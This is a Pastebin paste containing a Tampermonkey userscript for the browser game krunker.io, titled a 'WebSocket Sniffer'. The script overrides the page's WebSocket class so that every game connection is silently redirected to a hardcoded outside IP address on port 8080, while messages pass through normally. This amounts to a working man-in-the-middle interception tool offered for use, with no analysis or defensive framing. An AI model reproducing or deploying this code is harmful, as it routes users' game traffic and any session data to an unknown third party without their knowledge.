Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name New WebSocket Sniffer -> KPS
- // @namespace http://tampermonkey.net/
- // @version 0.1
- // @description try to take over the world!
- // @author Sh0T -> Lemon poo
- // @match *://krunker.io/*
- // @grant none
- // ==/UserScript==
- setTimeout(() => {
- var _WebSocket = window.WebSocket;
- class WebSocket extends _WebSocket {
- constructor(url, protocol = undefined) {
- url = 'ws://51.81.18.85:8080';
- super(...[url, protocol]);
- this.realOnMessage = null;
- }
- set onmessage(cb) {
- this._onmessage = cb;
- super.onmessage = this.fakeOnMessage;
- }
- fakeOnMessage(data) {
- if (this._onmessage) this._onmessage.apply(this, arguments);
- }
- set binaryType(type) {
- super.binaryType = type;
- }
- set onopen(cb) {
- super.onopen = cb;
- }
- send(data) {
- super.send.apply(this, arguments);
- }
- }
- window.WebSocket = WebSocket;
- }, 500);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement